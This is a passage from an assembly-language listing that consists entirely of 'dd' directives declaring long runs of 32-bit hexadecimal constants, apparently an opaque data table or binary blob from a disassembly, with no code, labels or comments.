		dd 77087A03h, 1B5F32h, 245ACE88h, 805D72CDh, 81D6340Eh
		dd 606820C4h, 0C208DBh,	0A4B9EE4Dh, 98B8AF3Bh, 0AEEE3560h
		dd 90DB2156h, 0E5C9004Ch, 690D3627h, 8200D89Bh,	0A3657162h
		dd 0E6B6D1h, 5C595A80h,	7FDD12FCh, 9574B404h, 0CC8125DFh
		dd 0F4F05F3Eh, 0DAB21EEFh, 3F7281Fh, 0A1680B83h, 73A01C89h
		dd 0EC01E09Dh, 0B5AA53D2h, 0E2F46144h, 38E40097h, 0FB3DC2EFh
		dd 0D724BF54h, 0AC09489Ch, 5BF6837Bh, 71A5C8D4h, 0F26D3F1Dh
		dd 34D8AA80h, 0BA661E9Ah, 3E0CAD75h, 38D90138h,	0AC220F6Eh
		dd 8C803C25h, 169C915Ch, 5559F800h, 6F763402h, 43250177h
		dd 7A891F93h, 873DC0E8h, 0A96CA807h, 5AE0465Bh,	0EA358D03h
		dd 37C3041Bh, 0C34D6B67h, 0B6892912h, 0FC39805Fh, 0DC71B3BEh
		dd 7B3D1E41h, 6DDD002Ch, 1B83339Ah, 97A2020Bh, 21440FCFh
		dd 0B870C5ECh, 261E1180h, 4F1C8598h, 5879FC00h,	4EE107D6h
		dd 3D3600A9h, 19904DDFh, 513E8CAh, 7040D138h, 0FFD6266Ch
		dd 318003Fh, 0CC559802h, 0B400B1F3h, 776E637Dh,	0CBDC66h
		dd 46A7D859h, 0F6873575h, 0DF77B498h, 0B4451E02h, 60084425h
		dd 490B21h, 22EA204Dh, 0C1737AE4h, 5300A6E8h, 4ACB418Bh
		dd 532A3C7h, 5D3FF3FCh,	0B6E800D4h, 0DA0ACFF9h,	0B4B24Ch
		dd 52946D04h, 444E23h, 0BFE7B64Ch, 9CCC73F4h, 0B163F71Ch
		dd 0B3D1F9C0h, 0EA31528Bh, 6179C1h, 0B517F84Fh,	60D30324h
		dd 0EA9221C0h, 0F426EB6Bh, 0CB6D26D8h, 97F0E1Ah, 0AB722740h
		dd 0D5701110h, 0F53D4700h, 62C3E59Bh, 0F4C128D9h, 0E04570D6h
		dd 8A38002Dh, 4FF8ED52h, 9700033Ah, 0B0FFA786h,	1E2D78FCh
		dd 2AF0BBAh, 0A654254Dh, 0F50CE581h, 40542069h,	6EB89A0Eh
		dd 0DA9B0032h, 0F93D7Ah, 0FC78686Ah, 96C743E3h,	814F1538h
		dd 0B53C4C02h, 0FE4064AEh, 74FCCAh, 0ABD2755Bh,	3149EE17h
		dd 0BD2CA5E0h, 1F008415h, 97DB659Ch, 0C57B507Fh, 78CE06E5h
		dd 0B810C177h, 99DE1501h, 252DD0E2h, 7208F0h, 0D5164FD8h
		dd 0FEA71163h, 857E6F01h, 0F7DF9EE8h, 0EAEBC88Fh, 0C84288A0h
		dd 1D4877ADh, 0BE0B01F0h, 3EA50208h, 0EA408880h, 1DBDCE70h
		dd 6566C70Fh, 0E0AC2043h, 1E15C996h, 0C0A05E6Fh, 27ADA54Ch
		dd 530B4AB7h, 9125CBBDh, 9030AE48h, 0BCBA009Dh,	8E77C5B4h
		dd 0FF005D9Bh, 0C92C20C7h, 0BF08F1h, 0A3151A69h, 0D268F309h
		dd 0FD7FE670h, 54E2BA00h, 9A2E4ECEh, 471B18E3h,	0C79579DEh
		dd 8793C24h, 0CC397524h, 1C7D19C8h, 7870E9B8h, 5FA40095h
		dd 3B7F4CD8h, 5016499Ah, 0D4E0E2A3h, 6BB21F96h,	0F1A70705h
		dd 25932070h, 2B067DCDh, 0DABAD10Dh, 0D674A8D2h, 0E7DD3C9Dh
		dd 506A6B00h, 0A4E59EFEh, 374979F8h, 284898h, 96146C9Ah
		dd 19BF036h, 0AE43BEF2h, 30DD5EC7h, 6E00B57Ch, 0C2E267A0h
		dd 725A23E9h, 424F0339h, 9DB48248h, 0D465DBD8h,	6EE43E03h
		dd 904422B0h, 2C39934Bh, 5BCE95h, 31A0FA0Eh, 2A00D8E1h
		dd 0DB11787Ch, 204E8Dh,	0F24A42F1h, 0A8E9EEEDh,	90001F79h
		dd 6C109B9Ch, 749A018h,	13B83724h, 3D9F4055h, 0BBB8FA32h
		dd 0B58E9A13h, 0B195C081h, 70A2C828h, 51D7C60h,	0DD330400h
		dd 16878396h, 0E72B00BDh, 74525EDBh, 9F019AB9h,	5908AC70h
		dd 7870BE23h, 0B4DA1231h, 9C6C1DEBh, 5C2E43FCh,	52B0DF3Ch
		dd 570C5E61h, 40BA73C5h, 59990077h, 3C3854F5h, 0C274E684h
		dd 0A8ED4E0Eh, 312442CBh, 2FA0E8F7h, 1CFF0537h,	0D3396674h
		dd 71C81FC0h, 0D4BAA14Fh, 37C6B600h, 0BB38D8EAh, 0AD020354h
		dd 0CEA965C0h, 0A6153CF9h, 93003039h, 46DC82FFh, 1F730CAEh
		dd 366888CCh, 7E00DAEAh, 0B0B253EFh, 0FE6F751h,	0FA7DF8BDh
		dd 608675E0h, 0D90EACF3h, 0C3901941h, 0A8BBDB4Ah, 30D6C7h
		dd 7A6C6F96h, 8CE8EFE3h, 20B72226h, 0A8332700h,	3F58FD15h
		dd 4B800C31h, 1424968Ah, 38983F18h, 49E1C100h, 94DDC02Ah
		dd 0E87D003Ah, 20E2DCF0h, 5005346h, 375A2BF5h, 905FEEB9h
		dd 9A7C22h, 920CFCE3h, 7490233h, 83C93Bh, 0A2B6B454h, 61A97168h
		dd 4D31E037h, 1E4303Eh,	0CEB04400h, 7B58296Ah, 0DEB51769h
		dd 340040E8h, 1C77D50Ah, 4767EC00h, 70980E7Eh, 1FCF846h
		dd 38E229A7h, 0C282E366h, 81397C40h, 5265F503h,	0A184B725h
		dd 460A48Fh, 7E1E00F2h,	2F4A88C9h, 6930DDACh, 0B979F0BAh
		dd 0F930306Fh, 0AA1CE411h, 51F28600h, 0F12732D6h, 0A0FB5075h
		dd 0A9E00BE6h, 0E8803ED5h, 56E7E443h, 899B6700h, 0F0BD49D1h
		dd 685D0069h, 778D1098h, 81006CEAh, 3CCACDA8h, 11123ABh
		dd 211647BCh, 80FDB703h, 0B245C458h, 0E76A1Ah, 8E704B7Ah
		dd 0C50C67BEh, 0FCC0A360h, 9D646Bh, 0C14F5599h,	7570F96Dh
		dd 19BB260Bh, 0A8380081h, 9D1D5ACh, 97B609F2h, 0FB1B3400h
		dd 5200A0B9h
		dd 398D3A5Ch, 7E05362Ah, 9D44009Eh, 3C1067D0h, 6503A5B8h
		dd 22244666h, 12B08794h, 142A3E3h, 0C72ED4AEh, 0C9FE5979h
		dd 9894437Bh, 14A3A6A0h, 0F40C5F00h, 76C49CCh, 76A8E80Fh
		dd 21B012B5h, 64205D3h,	0CDD000FEh, 5749F185h, 8B049200h
		dd 9E61F93Bh, 0CCF53FEBh, 51E16F9h, 0D0E800D7h,	71FB341Fh
		dd 3E39D103h, 83B1780Ch, 5AC9D1C2h, 13BCA830h, 0C09D8F96h
		dd 424925BCh, 0C5A91100h, 4EE2C0F9h, 30103CBDh,	28B6C30Eh
		dd 0D9385E41h, 486BC01Eh, 0D30062FAh, 3D5B2F9h,	3899E52h
		dd 0E316F583h, 2DA7FFB3h, 40F030B8h, 80A8654Dh,	0C7E14774h
		dd 9AAE07B0h, 0A040A93Fh, 0C10AAF25h, 10941830h, 39B2EBF1h
		dd 3F052610h, 0A0727EEDh, 966AB814h, 8F160058h,	0BD37D707h
		dd 8C974042h, 16618F8h,	0E321CF9Fh, 7E3DEA42h, 1549F0h
		dd 59943E03h, 0C6E98E38h, 53D9811Fh, 48BF6989h,	0A3E7B98h
		dd 27CFA6B7h, 98F43999h, 9BC70164h, 0FD172198h,	0EA9ED8F2h
		dd 1C209703h, 0F0B04867h, 27DF6Eh, 0C7096ABBh, 79D5100Eh
		dd 4C8C38h, 0FF2E04CDh,	5407F56h, 53BBF63h, 87E00EC7h
		dd 0E8A08989h, 34B6A190h, 26514248h, 5C008901h,	0B9F093C0h
		dd 0C170F764h, 0FB580436h, 804B14B1h, 458B08A8h, 2D81F904h
		dd 0BCD0D71Fh, 1698DF1h, 4035ACF4h, 5045E077h, 59965690h
		dd 0FEEEAD18h, 547DBE10h, 4C4FA43Fh, 4D003125h,	0A681B7A2h
		dd 0F63EEC65h, 803598E0h, 31E5010h, 0F4787FBDh,	0EFC07730h
		dd 0F8B0573Dh, 7A459D07h, 804F811Fh, 3E9FD4C1h,	211A60CEh
		dd 71E74FCFh, 0BB209C02h, 0F0EE8824h, 0A9CA1258h, 0E5DC40CBh
		dd 914773F2h, 497EE907h, 0A0D98DB6h, 1429ACE8h,	1F5900F2h
		dd 7C3CD11h, 15008447h,	27B6C9A1h, 0EA88AC89h, 2F7D40h
		dd 8F4497BFh, 69EF2914h, 35109000h, 466B304Ah, 1EAB0096h
		dd 6439F844h, 7400D18Bh, 5A835369h, 1E1B940h, 0C5B11CBAh
		dd 0C9210A6Fh, 4EC44CACh, 0B5D5F400h, 0B0757B12h, 4CD3008Ah
		dd 0FA6EB02h, 0BF715DC1h, 0B4046228h, 413E2375h, 31170075h
		dd 4FE68B9Ch, 77350065h, 1B6884B5h, 0DD260AAEh,	40E38D6h
		dd 724E203Ah, 5448F058h, 24EBE028h, 8060D8CBh, 0B7E3A48Dh
		dd 0A9C040E6h, 0BD6C8CADh, 5CF9864h, 0BAA9A60Bh, 0F2DC804Bh
		dd 0E3018ADBh, 0F5DD9516h, 0B86870F4h, 289ECB3Fh, 1185505Fh
		dd 0BD2C237Bh, 0BCAA45E0h, 72D849D3h, 79AC7704h, 0A4C0BB2Bh
		dd 116AE4Eh, 60B98ED6h,	6817CF45h, 34B100CCh, 0BDA4A86Dh
		dd 2630455h, 0C086A041h, 0C005CC62h, 752E9719h,	0DC629B71h
		dd 0DC00508Eh, 70248B34h, 0E50049F6h, 0E041FB0Dh, 5789C7Eh
		dd 5EC839F3h, 0B5BCC0A2h, 0D0009ADh, 549940ECh,	135380BFh
		dd 3F7E35h, 0A11A1265h,	0D9004259h, 0CBDD5269h,	37B0949h
		dd 829D565Ah, 0F0FC1B29h, 5701AFA8h, 4CC31C58h,	0E865E159h
		dd 624C0h, 4FE840C2h, 7394CCB8h, 7FE69801h, 1F97F2B7h
		dd 0CBA3FCh, 0B00D1CFEh, 0C113D1B6h, 7D00E3E2h,	605E92Bh
		dd 1889EFD5h, 788678FCh, 97E2F109h, 7A00ACEEh, 0F29C58D0h
		dd 1D49FC6h, 0C5F87E94h, 20C7FF66h, 31FC54DEh, 47E67A02h
		dd 60DC1A1Bh, 46A901BCh, 0A3D20B3Ch, 0ED1880C9h, 6DF715h
		dd 0CBD92650h, 0D6C67A60h, 33200F04h, 2CA2581Bh, 437F0173h
		dd 32B82B61h, 0CFC0303Ah, 81C7443Bh, 0BBFAF00Ah, 3C6029DFh
		dd 1432C06Bh, 216F433Bh, 0FEB72325h, 7AC280Fh, 0B0E26CAh
		dd 5BCDC045h, 0F0B5FC1h, 8E40AA54h, 60BFEE84h, 77440CD8h
		dd 0E79D0025h, 0EEAB8155h, 3A01FC30h, 8C5A860Bh, 0C0E41246h
		dd 859D3D69h, 56A4CA80h, 43D813F4h, 325E7524h, 209209h
		dd 4E4652A0h, 0D0B703CDh, 211DAB6Ah, 0A0C4819Dh, 706424C1h
		dd 2E009B4Ch, 0BC00F77Dh, 5B76E1E5h, 7F7812FEh,	699C008Dh
		dd 96FFD7C6h, 4E05A0B0h, 90FE4DA4h, 0A985E400h,	583C72E3h
		dd 421E6025h, 0EF5802Eh, 88F2622Ch, 1D001677h, 4BA1BEB9h
		dd 4F0390DCh, 0E3C0003Ah, 6A29FEAEh, 0A765A13h,	0E4BA70C7h
		dd 9CD5DD00h, 306473D4h, 21B1FDB9h, 0FE030D54h,	53BC9594h
		dd 372E00DFh, 5F7A0F9h,	0A60390AEh, 11620E47h, 0C0598AB1h
		dd 0BF5F69Ch, 0ED784FC4h, 86763C00h, 0D273B339h, 96424700h
		dd 4B84AC1Ah, 64D000A5h, 5EC4CB99h, 190074C9h, 564DFE2Ah
		dd 3F6C84h, 170B9B91h, 324C4A6h, 0DE8E7F01h, 0A5FBEAC5h
		dd 2B676882h, 0D4780B41h, 610F5009h, 0FD6F809Dh, 77D8F072h
		dd 0D71A0052h, 5C3F068Eh, 78005ED4h, 69088203h,	3EA163h
		dd 912309Ch, 3C8FDC18h,	77D2E600h, 20DFB4A7h, 0F209832h
		dd 34B24740h, 0BDA011C0h, 235D4E24h, 0D15B1218h, 0C599840h
		dd 73076D5Ch, 583000F5h, 0A11967Ah, 0AF0075CDh,	843FA846h
		dd 53309F0h, 75C7666h, 0BFEC00E2h, 836D9B7Ah, 0D91D1512h
		dd 0CAB87805h, 0E001F6C2h, 70444182h, 0D09AA2h,	7B0CD233h
		dd 65F2080Eh, 68001EEAh, 0C6D474AAh, 0CCC76A6h,	99D2B97h
		dd 0D8093120h, 0C7F34Ch, 531DD3CCh, 0FEA328E2h,	5BB0D4h
		dd 67B70197h, 0F2C14F88h, 3887D101h, 0A8CDF490h, 0D80ED440h
		dd 0BFF626FCh, 3CEC0E78h, 7AF41D81h, 5550F86Eh,	4966D800h
		dd 17E98BEEh, 56213CD3h, 1173BF80h, 0EA65A5B3h,	2A6F73Dh
		dd 4EDEA8CBh, 311D611Ah, 3D3B1060h, 0C8305D34h,	10232611h
		dd 709C4Ch, 0F1A07BB6h,	26EC7457h, 0BE4D5D0h, 4C07F519h
		dd 0E54C5780h, 0D4648076h, 5CB68182h, 31BAEA01h, 28F8E2C1h
		dd 85440198h, 71B61AA0h, 16C681Bh, 594A069Fh, 68D2CB7Ah
		dd 5B415170h, 0D250014Bh, 2C014091h, 25560F58h,	0EE41C997h
		dd 276100C0h, 0C2248EB1h, 0EC008813h, 94C0EA5Fh, 0B18F775h
		dd 124BAC2Ch, 0F938BA00h, 8100F37Fh, 34943D48h,	4C6DE335h
		dd 4E0FF2B2h, 6F476379h, 61A7201Fh, 903C21Dh, 2AE153F7h
		dd 5B47A85Eh, 15FA0704h, 8022746Ah, 5AF47D3Eh, 0CF9DA550h
		dd 0E3B13Dh, 8097E61Ah,	9065DA6Ah, 26C20059h, 71B2E22Eh
		dd 52E0FAB3h, 0A225D700h, 0E7B5458Ah, 0F0110190h, 9E9C63C0h
		dd 0E35080FFh, 0B3FB4AF1h, 0BDA30032h, 534467DDh, 0C9704D03h
		dd 6D24C800h, 2C0DA73Dh, 0D3D603F7h, 0DA87A196h, 65CEDBD8h
		dd 6B02A51Eh, 415B4800h, 0C714F6D8h, 70047210h,	3F170957h
		dd 0F00C3E6h, 8CA33D49h, 0B0EE1Eh, 1ACB763Ch, 0CDD8EDB5h
		dd 35BA1F00h, 0C4B78FD4h, 8C2C0075h, 6DD53732h,	0CD07301Ah
		dd 0D7A17763h, 44DB3C00h, 93298A6h, 663D089Bh, 4D64B680h
		dd 32008B7Fh, 0FE573968h, 0F1385CFh, 0B6F40B8Ch, 9EF0DCC2h
		dd 1B7CF260h, 0CC3CD000h, 60CA92F8h, 0E5E4503Eh, 5D1EC4Eh
		dd 0D2380B8Dh, 0B5EC0F22h, 0F788EAC0h, 0C2792E95h, 17FA4200h
		dd 0B19125FEh, 0ECC0014h, 0D25D39E0h, 0E100B52Ch, 5AF2F00Ch
		dd 7D585DDh, 13356AFCh,	696B0AAh, 0E078FA92h, 6D0A9C0Fh
		dd 639AA1FEh, 2FF8C536h, 0F0290031h, 248D9FA6h,	45004732h
		dd 0F953BAECh, 0CDBE17h, 95CC0BABh, 0D0EA05DEh,	9C5C6800h
		dd 0DF87D659h, 0F8FEE6h, 6F63DD22h, 0D781D345h,	6BA3AA03h
		dd 0A0B9EC11h, 1EB3FC24h, 46AB7484h, 0B0FB0438h, 0DD453Dh
		dd 0CB813C3h, 35A173h, 0E3E06E48h, 0A360A022h, 0FC15E100h
		dd 561B09D3h, 18B00B5Dh, 4B0F2FD6h, 6E6C5Dh, 4CB324F9h
		dd 670A548Eh, 962749FAh, 0B7B56100h, 0B8F61B66h, 2B0E0053h
		dd 2128483Ah, 5A00BBFBh
		dd 95602ECFh, 174F005h,	14424F6h, 4020D3DEh, 7DC4B59Eh
		dd 6D88AD01h, 0FFE5DBCBh, 96801187h, 8B1320EBh,	37008E44h
		dd 92587E4Ah, 0B97DBCh,	0BBFC0315h, 0E0365AF1h,	6B64D0C0h
		dd 0B11E542h, 0F498B743h, 831B9900h, 33002202h,	152071D0h
		dd 78C54990h, 848804CEh, 80E5F3CFh, 71B397C2h, 0FA1FB475h
		dd 884089D1h, 4893B2C5h, 7F70FD6h, 0C05E0A6Ch, 0A59CE932h
		dd 0C00B6AABh, 772AF5h,	50F2F3C3h, 0DF2B0006h, 1E2EC4CFh
		dd 5926C3E9h, 5B00C3BDh, 0CB3AD9BEh, 0AADE0020h, 0AB58BA1h
		dd 0E800F8C7h, 33E3B8E0h, 8CC42Ah, 0F6BA4E74h, 0BE45FD9h
		dd 443B5170h, 0DE528095h, 94FD9B8Bh, 9264009Dh,	0FC338493h
		dd 7E30D5D9h, 61738835h, 0CF7F16h, 563AF40Fh, 75CE4DB5h
		dd 6AAA000h, 79E46AA8h,	7172FEh, 0AB66E6Dh, 2BF4C9B7h
		dd 804EEA18h, 0C83C99h,	0AAEDA595h, 97AF6462h, 5DB58D00h
		dd 0C7591D7Ch, 7A86004Fh, 29C0DF03h, 0A100586Eh, 0D7795CE3h
		dd 0FF33653h, 7DB1441Ah, 76BC4BE0h, 84A8F4E1h, 0D5043211h
		dd 24015B37h, 95464DC0h, 737E009Ch, 8719D633h, 37617CC1h
		dd 364790E0h, 9D90ED03h, 131F9A03h, 3F01AC12h, 0D231A359h
		dd 6C26FCh, 9C5016B0h, 0D3F1EB83h, 0C3753B00h, 0AE8B479Ah
		dd 0DEF00DCh, 19165BD4h, 35066DE1h, 0B1A761E8h,	8CB01318h
		dd 24FE039Eh, 808CD3ABh, 4A7812A0h, 75DA012Ch, 20CED90Eh
		dd 0D38EF963h, 40D0C039h, 0A9420A75h, 0A4174D03h, 0A8047E8Fh
		dd 27FB7Dh, 3C0D799Fh, 0B3F3BEA5h, 430F8701h, 98A32285h
		dd 6D8C20h, 44EA9F8Ch, 0F18330B8h, 32005172h, 982BE3FFh
		dd 382ABE2Eh, 368011BFh, 17DE5DCAh, 0F90070CBh,	7BE3AA38h
		dd 0EE074F75h, 380F60E7h, 0DACB28FDh, 0E9779D05h, 940276DFh
		dd 44BBE1A8h, 0D4F3004Ch, 892C9856h, 0E5014C47h, 0FB60B7A6h
		dd 8E471EEh, 91720511h,	80863A51h, 0BBFAB8AEh, 7E64E80Eh
		dd 8F026113h, 9FF98109h, 7C4A60FAh, 25270163h, 7B2EC6A9h
		dd 9D6DECCCh, 761F81ECh, 43403526h, 0A49ED874h,	0E52800D1h
		dd 0E4CA0E3Eh, 8E002B2Eh, 8052B28Fh, 2DF5E73h, 9B8C1430h
		dd 0E0685663h, 0E609998Ah, 0A0D8CFB7h, 98F5A8CCh, 635A0FB0h
		dd 0FEA0E29Bh, 384FB265h, 0C08AA000h, 4D4288FDh, 99900070h
		dd 0BC4081CFh, 0CE0E1AE3h, 21203D95h, 0C91C93E9h, 0BB6F0h
		dd 0BA8E3679h, 80038844h, 0E89F4700h, 498184Fh,	877D0045h
		dd 5F71B9EEh, 0BA00FE82h, 16C3C7C8h, 7CD4E361h,	492C0057h
		dd 4290BC03h, 0D7001CAEh, 316B6FBDh, 556766h, 0BC618607h
		dd 0EA2CA3D9h, 0C3CC9707h, 839035A9h, 0E0CEFBFh, 57FE6486h
		dd 0CD2441A0h, 0C107D6EEh, 0D5B7CFA5h, 0BB2D7F40h, 160538B8h
		dd 0DCC30D00h, 53FDDE36h, 469B010Fh, 90AF0093h,	280635h
		dd 333D03B2h, 4CF6F298h, 155E9200h, 485A905Ch, 0C470081h
		dd 0C651DF7Fh, 6200CE99h, 0E33429BDh, 0D11BEEh,	6943686Dh
		dd 0EF02C0FAh, 0FF076A78h, 7E863555h, 56C379E0h, 0B6670072h
		dd 6D62B5Eh, 238A6CFh, 0C6DB1315h, 0A4955300h, 4286D3h
		dd 4C496679h, 99276B7Bh, 8DCA5F01h, 3DC96D4Ah, 12290DCh
		dd 0FA062FA9h, 0C01FAAAFh, 0B900681Eh, 0F03A92C5h, 6911CAh
		dd 40B77FD5h, 3955A0BAh, 2D379800h, 314D3B7Eh, 0F4F70034h
		dd 51810E80h, 1600D940h, 38655A17h, 76833Ah, 246A556h
		dd 1FB913CCh, 779CFA48h, 0ABE6ED1Dh, 8E93CAC0h,	2CBFEE3Ch
		dd 0E32FC0h, 0DDE2ACD0h, 7B006694h, 0E52BAD47h,	68FB83h
		dd 798A48BBh, 7706D264h, 351EF97Ch, 0BE008427h,	0E0314785h
		dd 7D7B009Dh, 1A6FA662h, 0A5004D51h, 0B0E11D73h, 84EF1Eh
		dd 0FB1591BEh, 7AAE923Ah, 0C3EE900h, 0D1B9FA6Fh, 0A0BDB0B5h
		dd 0F4574C14h, 0E8FC3F4Bh, 0C25D5C01h, 0E87482D5h, 0B60156AFh
		dd 0E1AE4EC6h, 75D869A5h, 0F6960363h, 7EA2E097h, 0D56E05E0h
		dd 0C70B95F0h, 0DBF178h, 2FAF256Bh, 849C012Ah, 3911DD9Eh
		dd 0B943FC92h, 47F6FC0Eh, 9104C0EAh, 482B8B1Eh,	0FE07377Ah
		dd 0F00DED7Bh, 2C408C24h, 0B4EF4A05h, 0A016FC96h, 2B9C6407h
		dd 0E942A30h, 3A7C1469h, 0E91C8CBDh, 29CD01B8h,	0E0EFA2FDh
		dd 7A009238h, 0B10D49EDh, 0B0AD2Fh, 0B652CF6Fh,	93F42D06h
		dd 0E43420C7h, 0A4D1E8B0h, 0DBEF0C49h, 8E70FD3Ah, 5B546E00h
		dd 34DFBD88h, 9D4203F4h, 27DC6FE2h, 1CC21AC0h, 469AF80Bh
		dd 0FAE30069h, 3D82CCh,	198E971Bh, 79626E5Ch, 9D90D4EEh
		dd 0CD618B00h, 0D8A83DDFh, 4BED0DC4h, 0C088B977h, 0A003A2Ch
		dd 8653857Ch, 1D7F6713h, 83D1320Bh, 45F1B4E3h, 0C893E800h
		dd 6D8707FEh, 90A800D8h, 18D3A6ACh, 20009440h, 5A69BFAEh
		dd 4735B12h, 3932C513h,	0C18880A4h, 0E2003A09h,	7C67AD1Eh
		dd 798794A6h, 523B1EBAh, 1D279F0Eh, 530FC092h, 0EB9EF03Fh
		dd 0D8E1D400h, 0B4094758h, 85F0CCh, 0AB37528Ch,	38E0250Ch
		dd 16F2B16h, 0C2C0BF1Eh, 7147B47Ah, 0A0390018h,	8099B6B7h
		dd 0F87CFF8Fh, 0E4860D07h, 7CA05A4Ah, 3CB2C04h,	82859BC3h
		dd 80ACE735h, 39A9E2DCh, 43DAB0Ch, 0E111B8h, 0EB7FCAD2h
		dd 0FD5742Eh, 0A28C7300h, 5F3FF670h, 86A80078h,	7C47601Fh
		dd 0DB266903h, 0D903907Dh, 0D87F4E0Ah, 0DFAAC7h, 4AF823ADh
		dd 61A8B78Ah, 420111FCh, 0BB40CC2h, 10808355h, 0D3BEAFADh
		dd 5601410Ah, 0AED8D170h, 60D00C87h, 8D2C004Bh,	0AD8F2BC9h
		dd 747B48A6h, 10311900h, 1208B82Ah, 49A70085h, 0C3CEAABFh
		dd 0D00E6EFh, 3138F422h, 0E627FABEh, 958E1356h,	46CD001Bh
		dd 120150DFh, 0DCFDC878h, 4300F5Ah, 9F0CD01Fh, 0FB4E0092h
		dd 0A5C5E433h, 5900A7B4h, 80F35B02h, 9F4CDBh, 0F4548831h
		dd 8BBE43A4h, 7978F4EBh, 0D429670Ch, 1DAC1AECh,	128DD519h
		dd 8B97030Ah, 5A521D0h,	0A93E6E0h, 0DC81DEh, 70A408E8h
		dd 0FD0079F0h, 0B0E795F4h, 0EAC5Eh, 9ACB4D8Ch, 0EC1DCF11h
		dd 1BD12601h, 0F95FA7BEh, 5147F120h, 1180B150h,	0BB63ABFBh
		dd 0ED1E21FEh, 0E400988Ah, 2D6E6A1h, 0C0751E82h, 9E0FBF60h
		dd 0B121DBB3h, 0ECA7DA6Dh, 0DFFE7BCEh, 0C8EC800h, 0AE72A2Bh
		dd 545B0068h, 7A95FEC5h, 0DC016483h, 4D6D41E4h,	8A205528h
		dd 66728EDh, 6E8B00A0h,	7364AAD2h, 0F6F6F520h, 7842A300h
		dd 0FFC92C74h, 7287290h, 0C0B3156Dh, 663EE105h,	7119899h
		dd 0FE386C21h, 0E1AD1DB8h, 7D6983AEh, 47C9EDE8h, 63C2048h
		dd 8576CFF2h, 4AB6B401h, 0D146F6A5h, 1DE2E451h,	0C4C71440h
		dd 5AB0184h, 0D757851Ch, 3018BC60h, 73831014h, 3F2307Fh
		dd 13889A20h, 3727C80h,	0FAEEC5A1h, 4193E15Ah, 81BA479Fh
		dd 0CC260479h, 0EF405162h, 19E431h, 999E709Fh, 148A862Bh
		dd 0B098303Fh, 0C9EE30EAh, 27E1008Eh, 0D701A17Ch, 0D2716BF2h
		dd 57596D00h, 0D57F8BADh, 18DA1379h, 0FCA30021h, 9EF5F7CFh
		dd 36CE8600h, 17522628h, 0C4F0FBh, 1A920AB4h, 7C704633h
		dd 1F12C100h, 4D323E9Dh, 0C65E0086h, 0B685749Ah, 0D87C7818h
		dd 0B482DA03h, 90539593h, 87799Fh, 7E6657D0h, 9885337Dh
		dd 0A746FD00h, 0CB4BB421h, 2391DAAh, 417D002Ch,	10BE799Dh
		dd 80ADC400h, 6E87E319h, 907506h, 4370DA27h, 0F05CEE16h
		dd 545E8107h, 1C02697h,	0A79CE19h, 0A883137Fh, 743C0110h
		dd 431DDD2Ah, 138879B4h, 20C1EDCBh, 8D940FC9h, 0C2325806h
		dd 0E16F1993h, 18842BCBh
		dd 7AB23Bh, 6B9D7558h, 10E06016h, 0CAE2356Dh, 7472B5E0h
		dd 83C35A24h, 1BF58E00h, 0A059D4h, 0F9E52110h, 0EEBB43CEh
		dd 7602E31Ch, 35245C0h,	351342h, 7C6A3647h, 0EB6D753Ch
		dd 0C444F900h, 23053370h, 74EC00DEh, 0E65B668Eh, 1460DCA5h
		dd 7A8AB2D8h, 8FFAB1h, 0BD6BF7ACh, 77368D69h, 1014DE0Fh
		dd 0FBC50074h, 0EE20AE16h, 0BF8B3987h, 655EE0Eh, 90DE85A7h
		dd 0C5846D60h, 0AF27DB18h, 88B67B28h, 0C7889893h, 2D9888Dh
		dd 146F51CAh, 0A44CCC08h, 6B2931E8h, 2351903Eh,	4CB5F484h
		dd 1C229EFh, 10A43804h,	0C43C6101h, 0C6007462h,	0FEB54296h
		dd 3C76849Eh, 5D80901Bh, 0EEA96B58h, 6D38A375h,	913FF0AFh
		dd 534E1EEBh, 0ABD1E3C7h, 98A7B031h, 6EB3CCh, 78FB02CFh
		dd 0A50C5340h, 5FF0A000h, 69D4D1C2h, 518D3DECh,	9B1E2400h
		dd 5EA8A66h, 0AEB70300h, 0E927BA8Eh, 2AACA898h,	0F7620732h
		dd 36F8A8Bh, 0CEC04A13h, 6C007045h, 3A7874CDh, 0E0DD79BAh
		dd 0F7990FB4h, 407AD093h, 63A1B240h, 24447700h,	9B5947C8h
		dd 46CB004Ch, 0A2E58E0Ah, 2900DB26h, 3BE6C7CFh,	0FCEDC9h
		dd 0CC9E9CD3h, 0DBF59419h, 0AF8C791Dh, 0D4F1ADC0h, 0AA4270h
		dd 683DDAB7h, 7B4E5FFAh, 0E040C400h, 915C5033h,	0B0EC009Dh
		dd 4B802BEAh, 0E698B7C9h, 3700D8F4h, 0B21EBE20h, 3E3F15Ch
		dd 53B96B22h, 60C07DE1h, 8E1D1A46h, 0A99D08EBh,	8D80F2C0h
		dd 7EF414Fh, 5999BB06h,	0B70E7201h, 8261E460h, 0E0C6E425h
		dd 37365h, 4C56EEE0h, 0CAC8E58Fh, 4750EF00h, 884EB66Dh
		dd 36480046h, 0C02F9697h, 250045B0h, 7D8CB230h,	1CB48F23h
		dd 93B87FD1h, 0D5630F1Fh, 4BF0E180h, 950057CCh,	0FD0A7B65h
		dd 23C34Ah, 0D5756397h,	7EB64BC5h, 0EA3B5700h, 0EE3AE42Ah
		dd 9EE20280h, 797166C2h, 0D3F731E0h, 0A9B93700h, 8E6AF616h
		dd 0B75100BBh, 0C9261CD5h, 0B57203CEh, 0CDA62500h, 2752B8DBh
		dd 19E8001Dh, 5D493577h, 0FE03122h, 0DE997D00h,	5F1D6241h
		dd 42C00F6Fh, 8A0BD81h,	0D374DDA8h, 25ADBCA0h, 54F8AF03h
		dd 0FD895F0h, 0E072C419h, 0F2002C0Bh, 0B654B8A8h, 9A118B60h
		dd 38C8E26h, 0D73B2DF4h, 180F02E0h, 0A627EF4Ah,	10486Eh
		dd 0D25FBF85h, 0D6081D25h, 0AC007FE0h, 0ABB6E298h, 36D028h
		dd 15E1DF8Fh, 84086EB0h, 0B7236801h, 0F95B3DDDh, 691F4980h
		dd 0EA9E3A11h, 51001879h, 39E2EBE0h, 254650h, 6C7C4BA1h
		dd 22041CB3h, 0F3E7C500h, 54BBE53Ah, 9BBC003Dh,	2171194Eh
		dd 37001C69h, 6862F841h, 39C19Ch, 0A308E72Eh, 35933E97h
		dd 85B75C3Bh, 37577C20h, 17740880h, 0A827007Eh,	0D0E00C77h
		dd 121C8998h, 0AD80F2D6h, 6F683FDAh, 0BC620786h, 0D09CD1ACh
		dd 8ED8CD71h, 0C28B1907h, 3D105127h, 900526D7h,	4B7E1D8Ch
		dd 0AEA2010Bh, 0D4916874h, 77007CC3h, 79346E02h, 4158BCh
		dd 0EA0C7024h, 2CCE2EABh, 18E4D01h, 6051C5AAh, 9748D8D7h
		dd 0D89400E3h, 84B3658h, 5A03CA40h, 4D50AB29h, 30F3F842h
